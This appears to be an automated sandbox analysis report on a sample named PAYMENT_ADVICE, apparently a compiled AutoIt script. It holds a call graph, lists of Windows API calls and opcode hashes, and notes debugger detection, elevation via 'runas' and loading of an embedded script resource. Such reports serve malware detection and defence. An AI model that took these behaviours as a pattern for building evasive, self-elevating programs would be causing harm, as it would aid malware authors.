103774->103775 103776 3436e7 103775->103776 103777 343688 103775->103777 103812 3436e5 103775->103812 103781 3436ed 103776->103781 103782 37d0cc 103776->103782 103778 343695 103777->103778 103779 34374b PostQuitMessage 103777->103779 103784 37d154 103778->103784 103785 3436a0 103778->103785 103816 3436d8 103779->103816 103780 3436ca DefWindowProcW 103780->103816 103786 343715 SetTimer RegisterWindowMessageW 103781->103786 103787 3436f2 103781->103787 103823 351070 10 API calls Mailbox 103782->103823 103828 3a2527 71 API calls _memset 103784->103828 103789 343755 103785->103789 103790 3436a8 103785->103790 103791 34373e CreatePopupMenu 103786->103791 103786->103816 103793 37d06f 103787->103793 103794 3436f9 KillTimer 103787->103794 103788 37d0f3 103824 351093 341 API calls Mailbox 103788->103824 103821 3444a0 64 API calls _memset 103789->103821 103796 3436b3 103790->103796 103806 37d139 103790->103806 103791->103816 103799 37d074 103793->103799 103800 37d0a8 MoveWindow 103793->103800 103819 34443a Shell_NotifyIconW _memset 103794->103819 103802 37d124 103796->103802 103808 3436be 103796->103808 103797 37d166 103797->103780 103797->103816 103803 37d097 SetFocus 103799->103803 103804 37d078 103799->103804 103800->103816 103826 3a2d36 81 API calls _memset 103802->103826 103803->103816 103804->103808 103809 37d081 103804->103809 103805 34370c 103820 343114 DeleteObject DestroyWindow Mailbox 103805->103820 103806->103780 103827 397c36 59 API calls Mailbox 103806->103827 103808->103780 103825 34443a Shell_NotifyIconW _memset 103808->103825 103822 351070 10 API calls Mailbox 103809->103822 103812->103780 103814 343764 103814->103816 103817 37d118 103818 34434a 68 API calls 103817->103818 103818->103812 103819->103805 103820->103816 103821->103814 103822->103816 103823->103788 103824->103808 103825->103817 103826->103814 103827->103812 103828->103797 103829 34107d 103834 34708b 103829->103834 103831 34108c 103832 362d40 __cinit 67 API calls 103831->103832 103833 341096 103832->103833 103835 34709b __write_nolock 103834->103835 103836 347667 59 API calls 103835->103836 103837 347151 103836->103837 103838 344706 61 API calls 103837->103838 103839 34715a 103838->103839 103865 36050b 103839->103865 103842 347cab 59 API calls 103843 347173 103842->103843 103844 343f74 59 API calls 103843->103844 103845 347182 103844->103845 103846 347667 59 API calls 103845->103846 103847 34718b 103846->103847 103848 347d8c 59 API calls 103847->103848 103849 347194 RegOpenKeyExW 103848->103849 103850 37e8b1 RegQueryValueExW 103849->103850 103854 3471b6 Mailbox 103849->103854 103851 37e943 RegCloseKey 103850->103851 103852 37e8ce 103850->103852 103851->103854 103864 37e955 _wcscat Mailbox __wsetenvp 103851->103864 103853 360db6 Mailbox 59 API calls 103852->103853 103855 37e8e7 103853->103855 103854->103831 103856 34522e 59 API calls 103855->103856 103857 37e8f2 RegQueryValueExW 103856->103857 103859 37e90f 103857->103859 103861 37e929 103857->103861 103858 3479f2 59 API calls 103858->103864 103860 347bcc 59 API calls 103859->103860 103860->103861 103861->103851 103862 347de1 59 API calls 103862->103864 103863 343f74 59 API calls 103863->103864 103864->103854 103864->103858 103864->103862 103864->103863 103866 371940 __write_nolock 103865->103866 103867 360518 GetFullPathNameW 103866->103867 103868 36053a 103867->103868 103869 347bcc 59 API calls 103868->103869 103870 347165 103869->103870 103870->103842 103871 d923b0 103885 d90000 103871->103885 103873 d92484 103888 d922a0 103873->103888 103891 d934b0 GetPEB 103885->103891 103887 d9068b 103887->103873 103889 d922a9 Sleep 103888->103889 103890 d922b7 103889->103890 103892 d934da 103891->103892 103892->103887 103893 34b40e 103901 35f944 103893->103901 103895 34b424 103910 34c5a7 103895->103910 103897 34b44c 103898 34a388 103897->103898 103922 3a9e4a 89 API calls 4 library calls 103897->103922 103900 3808e9 103902 35f950 103901->103902 103903 35f962 103901->103903 103923 349d3c 60 API calls Mailbox 103902->103923 103905 35f991 103903->103905 103906 35f968 103903->103906 103924 349d3c 60 API calls Mailbox 103905->103924 103907 360db6 Mailbox 59 API calls 103906->103907 103909 35f95a 103907->103909 103909->103895 103911 347a16 59 API calls 103910->103911 103912 34c5cc _wcscmp 103911->103912 103913 347de1 59 API calls 103912->103913 103915 34c600 Mailbox 103912->103915 103914 381691 103913->103914 103916 347b2e 59 API calls 103914->103916 103915->103897 103917 38169c 103916->103917 103925 34843a 68 API calls 103917->103925 103919 3816ad 103921 3816b1 Mailbox 103919->103921 103926 349d3c 60 API calls Mailbox 103919->103926 103921->103897 103922->103900 103923->103909 103924->103909 103925->103919 103926->103921 103927 37fdfc 103956 34ab30 Mailbox _memmove 103927->103956 103929 39617e Mailbox 59 API calls 103948 34a057 103929->103948 103933 380055 104125 3a9e4a 89 API calls 4 library calls 103933->104125 103935 34b475 103943 348047 59 API calls 103935->103943 103938 360db6 59 API calls Mailbox 103950 349f37 Mailbox 103938->103950 103939 380064 103941 34b47a 103941->103933 103954 3809e5 103941->103954 103943->103948 103944 347667 59 API calls 103944->103950 103945 348047 59 API calls 103945->103950 103947 396e8f 59 API calls 103947->103950 103949 347de1 59 API calls 103949->103956 103950->103933 103950->103935 103950->103938 103950->103941 103950->103944 103950->103945 103950->103947 103950->103948 103951 3809d6 103950->103951 103953 362d40 67 API calls __cinit 103950->103953 103955 34a55a 103950->103955 104118 34c8c0 341 API calls 2 library calls 103950->104118 104119 34b900 60 API calls Mailbox 103950->104119 104130 3a9e4a 89 API calls 4 library calls 103951->104130 103953->103950 104131 3a9e4a 89 API calls 4 library calls 103954->104131 104129 3a9e4a 89 API calls 4 library calls 103955->104129 103956->103948 103956->103949 103956->103950 103957 3bbc6b 341 API calls 103956->103957 103959 34b2b6 103956->103959 103961 349ea0 341 API calls 103956->103961 103962 38086a 103956->103962 103964 380878 103956->103964 103966 38085c 103956->103966 103967 34b21c 103956->103967 103969 360db6 59 API calls Mailbox 103956->103969 103971 396e8f 59 API calls 103956->103971 103973 34b525 103956->103973 103978 3b445a 103956->103978 103987 3ad07b 103956->103987 104034 3bdf23 103956->104034 104037 351fc3 103956->104037 104077 3bc2e0 103956->104077 104109 3a7956 103956->104109 104115 39617e 103956->104115 104120 349c90 59 API calls Mailbox 103956->104120 104124 3bc193 85 API calls 2 library calls 103956->104124 103957->103956 104123 34f6a3 341 API calls 103959->104123 103961->103956 104127 349c90 59 API calls Mailbox 103962->104127 104128 3a9e4a 89 API calls 4 library calls 103964->104128 103966->103929 103966->103948 104121 349d3c 60 API calls Mailbox 103967->104121 103969->103956 103970 34b22d 104122 349d3c 60 API calls Mailbox 103970->104122 103971->103956 104126 3a9e4a 89 API calls 4 library calls 103973->104126 103979 349837 84 API calls 103978->103979 103980 3b4494 103979->103980 103981 346240 94 API calls 103980->103981 103982 3b44a4 103981->103982 103983 3b44c9 103982->103983 103984 349ea0 341 API calls 103982->103984 103986 3b44cd 103983->103986 104132 349a98 103983->104132 103984->103983 103986->103956 103988 3ad09a 103987->103988 103989 3ad0a5 103987->103989 104145 349b3c 59 API calls 103988->104145 103992 347667 59 API calls 103989->103992 104032 3ad17f Mailbox 103989->104032 103991 360db6 Mailbox 59 API calls 103993 3ad1c8 103991->103993 103994 3ad0c9 103992->103994 103995 3ad1d4 103993->103995 104148 3457a6 60 API calls Mailbox 103993->104148 103997 347667 59 API calls 103994->103997 103998 349837 84 API calls 103995->103998 103999 3ad0d2 103997->103999 104000 3ad1ec 103998->104000 104001 349837 84 API calls 103999->104001 104002 3457f6 67 API calls 104000->104002 104003 3ad0de 104001->104003 104004 3ad1fb 104002->104004 104005 34459b 59 API calls 104003->104005 104006 3ad1ff GetLastError 104004->104006 104007 3ad233 104004->104007 104008 3ad0f3 104005->104008 104009 3ad218 104006->104009 104011 3ad25e 104007->104011 104012 3ad295 104007->104012 104010 347b2e 59 API calls 104008->104010 104030 3ad188 Mailbox 104009->104030 104149 3458ba CloseHandle 104009->104149 104013 3ad126 104010->104013 104015 360db6 Mailbox 59 API calls 104011->104015 104014 360db6 Mailbox 59 API calls 104012->104014 104016 3ad178 104013->104016 104021 3a3c37 3 API calls 104013->104021 104017 3ad29a 104014->104017 104018 3ad263 104015->104018 104147 349b3c 59 API calls 104016->104147 104025 347667 59 API calls 104017->104025 104017->104030 104022 3ad274 104018->104022 104026 347667 59 API calls 104018->104026 104023 3ad136 104021->104023 104150 3bfbce 59 API calls 2 library calls 104022->104150 104023->104016 104024 3ad13a 104023->104024 104027 347de1 59 API calls 104024->104027 104025->104030 104026->104022 104029 3ad147 104027->104029 104146 3a3a2a 63 API calls Mailbox 104029->104146 104030->103956 104032->103991 104032->104030 104033 3ad150 Mailbox 104033->104016 104035 3bcadd 130 API calls 104034->104035 104036 3bdf33 104035->104036 104036->103956 104038 349a98 59 API calls 104037->104038 104039 351fdb 104038->104039 104041 360db6 Mailbox 59 API calls 104039->104041 104044 386585 104039->104044 104042 351ff4 104041->104042 104045 352004 104042->104045 104172 3457a6 60 API calls Mailbox 104042->104172 104043 352029 104053 352036 104043->104053 104176 349b3c 59 API calls 104043->104176 104044->104043 104175 3af574 59 API calls 104044->104175 104047 349837 84 API calls 104045->104047 104049 352012 104047->104049 104050 3457f6 67 API calls 104049->104050 104052 352021 104050->104052 104051 3865cd 104051->104053 104054 3865d5 104051->104054 104052->104043 104052->104044 104174 3458ba CloseHandle 104052->104174 104055 345cdf 2 API calls 104053->104055 104177 349b3c 59 API calls 104054->104177 104058 35203d 104055->104058 104059 352057 104058->104059 104060 3865e7 104058->104060 104061 347667 59 API calls 104059->104061 104062 360db6 Mailbox 59 API calls 104060->104062 104064 35205f 104061->104064 104063 3865ed 104062->104063 104065 386601 104063->104065 104178 345850 ReadFile SetFilePointerEx 104063->104178 104151 345572 104064->104151 104071 386605 _memmove 104065->104071 104179 3a76c4 59 API calls 2 library calls 104065->104179 104069 35206e 104069->104071 104166 349a3c 104069->104166 104072 352082 Mailbox 104073 3520bc 104072->104073 104074 345c6f CloseHandle 104072->104074 104073->103956 104075 3520b0 104074->104075 104075->104073 104173 3458ba CloseHandle 104075->104173 104078 347667 59 API calls 104077->104078 104079 3bc2f4 104078->104079 104080 347667 59 API calls 104079->104080 104081 3bc2fc 104080->104081 104082 347667 59 API calls 104081->104082 104083 3bc304 104082->104083 104084 349837 84 API calls 104083->104084 104108 3bc312 104084->104108 104085 347bcc 59 API calls 104085->104108 104086 347924 59 API calls 104086->104108 104087 3bc4fb 104088 3bc528 Mailbox 104087->104088 104090 349a3c 59 API calls 104087->104090 104088->103956 104089 3bc4e2 104092 347cab 59 API calls 104089->104092 104090->104088 104091 3bc4fd 104093 347cab 59 API calls 104091->104093 104095 3bc4ef 104092->104095 104096 3bc50c 104093->104096 104094 348047 59 API calls 104094->104108 104098 347b2e 59 API calls 104095->104098 104099 347b2e 59 API calls 104096->104099 104097 347e4f 59 API calls 104101 3bc3a9 CharUpperBuffW 104097->104101 104098->104087 104099->104087 104100 347e4f 59 API calls 104102 3bc469 CharUpperBuffW 104100->104102 104203 34843a 68 API calls 104101->104203 104104 34c5a7 69 API calls 104102->104104 104104->104108 104105 347cab 59 API calls 104105->104108 104106 349837 84 API calls 104106->104108 104107 347b2e 59 API calls 104107->104108 104108->104085 104108->104086 104108->104087 104108->104088 104108->104089 104108->104091 104108->104094 104108->104097 104108->104100 104108->104105 104108->104106 104108->104107 104110 3a7962 104109->104110 104111 360db6 Mailbox 59 API calls 104110->104111 104112 3a7970 104111->104112 104113 3a797e 104112->104113 104114 347667 59 API calls 104112->104114 104113->103956 104114->104113 104204 3960c0 104115->104204 104117 39618c 104117->103956 104118->103950 104119->103950 104120->103956 104121->103970 104122->103959 104123->103973 104124->103956 104125->103939 104126->103966 104127->103966 104128->103966 104129->103948 104130->103954 104131->103948 104133 37f7d6 104132->104133 104134 349aa8 104132->104134 104135 37f7e7 104133->104135 104136 347bcc 59 API calls 104133->104136 104138 360db6 Mailbox 59 API calls 104134->104138 104137 347d8c 59 API calls 104135->104137 104136->104135 104140 37f7f1 104137->104140 104139 349abb 104138->104139 104139->104140 104141 349ac6 104139->104141 104142 349ad4 104140->104142 104143 347667 59 API calls 104140->104143 104141->104142 104144 347de1 59 API calls 104141->104144 104142->103986 104143->104142 104144->104142 104145->103989 104146->104033 104147->104032 104148->103995 104149->104030 104150->104030 104152 3455a2 104151->104152 104153 34557d 104151->104153 104154 347d8c 59 API calls 104152->104154 104153->104152 104157 34558c 104153->104157 104158 3a325e 104154->104158 104155 3a328d 104155->104069 104182 345ab8 104157->104182 104158->104155 104180 3a31fa ReadFile SetFilePointerEx 104158->104180 104181 347924 59 API calls 2 library calls 104158->104181 104165 3a339c Mailbox 104165->104069 104167 349a87 104166->104167 104168 349a48 104166->104168 104169 348047 59 API calls 104167->104169 104170 360db6 Mailbox 59 API calls 104168->104170 104171 349a5b 104169->104171 104170->104171 104171->104072 104172->104045 104173->104073 104174->104044 104175->104044 104176->104051 104177->104058 104178->104065 104179->104071 104180->104158 104181->104158 104183 360db6 Mailbox 59 API calls 104182->104183 104184 345acb 104183->104184 104185 360db6 Mailbox 59 API calls 104184->104185 104186 345ad7 104185->104186 104187 3454d2 104186->104187 104194 3458cf 104187->104194 104189 345514 104189->104165 104193 3477da 61 API calls Mailbox 104189->104193 104190 345bc0 2 API calls 104191 3454e3 104190->104191 104191->104189 104191->104190 104201 345a7a 59 API calls 2 library calls 104191->104201 104193->104165 104195 3458e0 104194->104195 104196 37dc3c 104194->104196 104195->104191 104202 395ecd 59 API calls Mailbox 104196->104202 104198 37dc46 104199 360db6 Mailbox 59 API calls 104198->104199 104200 37dc52 104199->104200 104201->104191 104202->104198 104203->104108 104205 3960e8 104204->104205 104206 3960cb 104204->104206 104205->104117 104206->104205 104208 3960ab 59 API calls Mailbox 104206->104208 104208->104206 104209 381de4 GetTempPathW 104210 381e01 104209->104210 104210->104210 104211 34552a 104212 345ab8 59 API calls 104211->104212 104213 34553c 104212->104213 104214 3454d2 61 API calls 104213->104214 104215 34554a 104214->104215 104216 34555a Mailbox 104215->104216 104218 348061 61 API calls Mailbox 104215->104218 104218->104216 104219 34e5ab 104222 34d100 104219->104222 104221 34e5b9 104223 34d11d 104222->104223 104240 34d37d 104222->104240 104224 3826e0 104223->104224 104225 382691 104223->104225 104241 34d144 104223->104241 104266 3ba3e6 341 API calls __cinit 104224->104266 104227 382694 104225->104227 104235 3826af 104225->104235 104229 3826a0 104227->104229 104227->104241 104264 3ba9fa 341 API calls 104229->104264 104232 362d40 __cinit 67 API calls 104232->104241 104233 3828b5 104233->104233 104234 34d54b 104234->104221 104235->104240 104265 3baea2 341 API calls 3 library calls 104235->104265 104236 34d434 104258 348a52 68 API calls 104236->104258 104240->104234 104271 3a9e4a 89 API calls 4 library calls 104240->104271 104241->104232 104241->104234 104241->104236 104241->104240 104242 3827fc 104241->104242 104246 3484c0 69 API calls 104241->104246 104253 349ea0 341 API calls 104241->104253 104254 348047 59 API calls 104241->104254 104256 348740 68 API calls __cinit 104241->104256 104257 348542 68 API calls 104241->104257 104259 34843a 68 API calls 104241->104259 104260 34cf7c 341 API calls 104241->104260 104261 349dda 59 API calls Mailbox 104241->104261 104262 34cf00 89 API calls 104241->104262 104263 34cd7d 341 API calls 104241->104263 104267 348a52 68 API calls 104241->104267 104268 349d3c 60 API calls Mailbox 104241->104268 104269 39678d 60 API calls 104241->104269 104270 3ba751 89 API calls 104242->104270 104243 34d443 104243->104221 104246->104241 104253->104241 104254->104241 104256->104241 104257->104241 104258->104243 104259->104241 104260->104241 104261->104241 104262->104241 104263->104241 104264->104234 104265->104240 104266->104241 104267->104241 104268->104241 104269->104241 104270->104240 104271->104233

                                                              Executed Functions

                                                              Function 00343B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00343B68
                                                              • IsDebuggerPresent.KERNEL32 ref: 00343B7A
                                                              • GetFullPathNameW.KERNEL32(00007FFF,?,?,004052F8,004052E0,?,?), ref: 00343BEB
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                                • Part of subcall function 0035092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00343C14,004052F8,?,?,?), ref: 0035096E
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00343C6F
                                                              • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,003F7770,00000010), ref: 0037D281
                                                              • SetCurrentDirectoryW.KERNEL32(?,004052F8,?,?,?), ref: 0037D2B9
                                                              • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,003F4260,004052F8,?,?,?), ref: 0037D33F
                                                              • ShellExecuteW.SHELL32(00000000,?,?), ref: 0037D346
                                                                • Part of subcall function 00343A46: GetSysColorBrush.USER32(0000000F), ref: 00343A50
                                                                • Part of subcall function 00343A46: LoadCursorW.USER32(00000000,00007F00), ref: 00343A5F
                                                                • Part of subcall function 00343A46: LoadIconW.USER32(00000063), ref: 00343A76
                                                                • Part of subcall function 00343A46: LoadIconW.USER32(000000A4), ref: 00343A88
                                                                • Part of subcall function 00343A46: LoadIconW.USER32(000000A2), ref: 00343A9A
                                                                • Part of subcall function 00343A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00343AC0
                                                                • Part of subcall function 00343A46: RegisterClassExW.USER32(?), ref: 00343B16
                                                                • Part of subcall function 003439D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00343A03
                                                                • Part of subcall function 003439D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00343A24
                                                                • Part of subcall function 003439D5: ShowWindow.USER32(00000000,?,?), ref: 00343A38
                                                                • Part of subcall function 003439D5: ShowWindow.USER32(00000000,?,?), ref: 00343A41
                                                                • Part of subcall function 0034434A: _memset.LIBCMT ref: 00344370
                                                                • Part of subcall function 0034434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00344415
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                              • String ID: This is a third-party compiled AutoIt script.$runas$%=
                                                              • API String ID: 529118366-4029254884
                                                              • Opcode ID: 8eaed00fe3783107fcfda49a4101e53c6a4b8cf36767269f14aee4cce396660c
                                                              • Instruction ID: 1700416a66f215588f0b7e083e26f259becec2961cf7c73281ef6e0e1a225c1d
                                                              • Opcode Fuzzy Hash: 8eaed00fe3783107fcfda49a4101e53c6a4b8cf36767269f14aee4cce396660c
                                                              • Instruction Fuzzy Hash: 5351AE31908148AEDB13ABB49C45EEE7BB9EF45700F0080B9E451BF1A2DB746A06CF25
                                                              Function 003449A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1037 3449a0-344a00 call 347667 GetVersionExW call 347bcc 1042 344a06 1037->1042 1043 344b0b-344b0d 1037->1043 1044 344a09-344a0e 1042->1044 1045 37d767-37d773 1043->1045 1047 344a14 1044->1047 1048 344b12-344b13 1044->1048 1046 37d774-37d778 1045->1046 1050 37d77b-37d787 1046->1050 1051 37d77a 1046->1051 1049 344a15-344a4c call 347d2c call 347726 1047->1049 1048->1049 1059 37d864-37d867 1049->1059 1060 344a52-344a53 1049->1060 1050->1046 1053 37d789-37d78e 1050->1053 1051->1050 1053->1044 1055 37d794-37d79b 1053->1055 1055->1045 1057 37d79d 1055->1057 1061 37d7a2-37d7a5 1057->1061 1062 37d880-37d884 1059->1062 1063 37d869 1059->1063 1060->1061 1064 344a59-344a64 1060->1064 1065 344a93-344aaa GetCurrentProcess IsWow64Process 1061->1065 1066 37d7ab-37d7c9 1061->1066 1067 37d886-37d88f 1062->1067 1068 37d86f-37d878 1062->1068 1071 37d86c 1063->1071 1072 37d7ea-37d7f0 1064->1072 1073 344a6a-344a6c 1064->1073 1069 344aac 1065->1069 1070 344aaf-344ac0 1065->1070 1066->1065 1074 37d7cf-37d7d5 1066->1074 1067->1071 1077 37d891-37d894 1067->1077 1068->1062 1069->1070 1078 344ac2-344ad2 call 344b37 1070->1078 1079 344b2b-344b35 GetSystemInfo 1070->1079 1071->1068 1075 37d7f2-37d7f5 1072->1075 1076 37d7fa-37d800 1072->1076 1080 37d805-37d811 1073->1080 1081 344a72-344a75 1073->1081 1082 37d7d7-37d7da 1074->1082 1083 37d7df-37d7e5 1074->1083 1075->1065 1076->1065 1077->1068 1094 344ad4-344ae1 call 344b37 1078->1094 1095 344b1f-344b29 GetSystemInfo 1078->1095 1084 344af8-344b08 1079->1084 1085 37d813-37d816 1080->1085 1086 37d81b-37d821 1080->1086 1088 37d831-37d834 1081->1088 1089 344a7b-344a8a 1081->1089 1082->1065 1083->1065 1085->1065 1086->1065 1088->1065 1093 37d83a-37d84f 1088->1093 1090 37d826-37d82c 1089->1090 1091 344a90 1089->1091 1090->1065 1091->1065 1096 37d851-37d854 1093->1096 1097 37d859-37d85f 1093->1097 1102 344ae3-344ae7 GetNativeSystemInfo 1094->1102 1103 344b18-344b1d 1094->1103 1098 344ae9-344aed 1095->1098 1096->1065 1097->1065 1098->1084 1101 344aef-344af2 FreeLibrary 1098->1101 1101->1084 1102->1098 1103->1102
                                                              APIs
                                                              • GetVersionExW.KERNEL32(?), ref: 003449CD
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • GetCurrentProcess.KERNEL32(?,003CFAEC,00000000,00000000,?), ref: 00344A9A
                                                              • IsWow64Process.KERNEL32(00000000), ref: 00344AA1
                                                              • GetNativeSystemInfo.KERNELBASE(00000000), ref: 00344AE7
                                                              • FreeLibrary.KERNEL32(00000000), ref: 00344AF2
                                                              • GetSystemInfo.KERNEL32(00000000), ref: 00344B23
                                                              • GetSystemInfo.KERNEL32(00000000), ref: 00344B2F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                              • String ID:
                                                              • API String ID: 1986165174-0
                                                              • Opcode ID: 5b6dab150a132dcd6c185d0bf0df8a870179ebffcf9c141c51604b872b41e0dd
                                                              • Instruction ID: c7623902c5a1b4191a22d773389135e20053e249b5fd4afdabb84cd0e5cf7963
                                                              • Opcode Fuzzy Hash: 5b6dab150a132dcd6c185d0bf0df8a870179ebffcf9c141c51604b872b41e0dd
                                                              • Instruction Fuzzy Hash: A691B5319897C4DEC733DB6885506AAFFF9AF2A300B484D6DD0CB9BA41D624F508C75A
                                                              Function 00344E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1104 344e89-344ea1 CreateStreamOnHGlobal 1105 344ec1-344ec6 1104->1105 1106 344ea3-344eba FindResourceExW 1104->1106 1107 37d933-37d942 LoadResource 1106->1107 1108 344ec0 1106->1108 1107->1108 1109 37d948-37d956 SizeofResource 1107->1109 1108->1105 1109->1108 1110 37d95c-37d967 LockResource 1109->1110 1110->1108 1111 37d96d-37d975 1110->1111 1112 37d979-37d98b 1111->1112 1112->1108
                                                              APIs
                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00344D8E,?,?,00000000,00000000), ref: 00344E99
                                                              • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00344D8E,?,?,00000000,00000000), ref: 00344EB0
                                                              • LoadResource.KERNEL32(?,00000000,?,?,00344D8E,?,?,00000000,00000000,?,?,?,?,?,?,00344E2F), ref: 0037D937
                                                              • SizeofResource.KERNEL32(?,00000000,?,?,00344D8E,?,?,00000000,00000000,?,?,?,?,?,?,00344E2F), ref: 0037D94C
                                                              • LockResource.KERNEL32(00344D8E,?,?,00344D8E,?,?,00000000,00000000,?,?,?,?,?,?,00344E2F,00000000), ref: 0037D95F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                              • String ID: SCRIPT
                                                              • API String ID: 3051347437-3967369404
                                                              • Opcode ID: df428549780473ae5099fb05300430489adda7a9b2b3e73b0600e9adeedf8688
                                                              • Instruction ID: b6dd185724a74d3bbf9cb34d5e5d5fcd9e818217cd347a3bd262102aefed2211
                                                              • Opcode Fuzzy Hash: df428549780473ae5099fb05300430489adda7a9b2b3e73b0600e9adeedf8688
                                                              • Instruction Fuzzy Hash: FE111875240701AFE7228B65EC48F67BBBEEBC5B51F208668F506DA650DB61E8408A60
                                                              Function 0034E6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: Dd@$Dd@$Dd@$Dd@$Variable must be of type 'Object'.
                                                              • API String ID: 0-2845646731
                                                              • Opcode ID: 8b4465fc55b0a301bc096baa4879121229d4847c9b487d05c870cd549307d03b
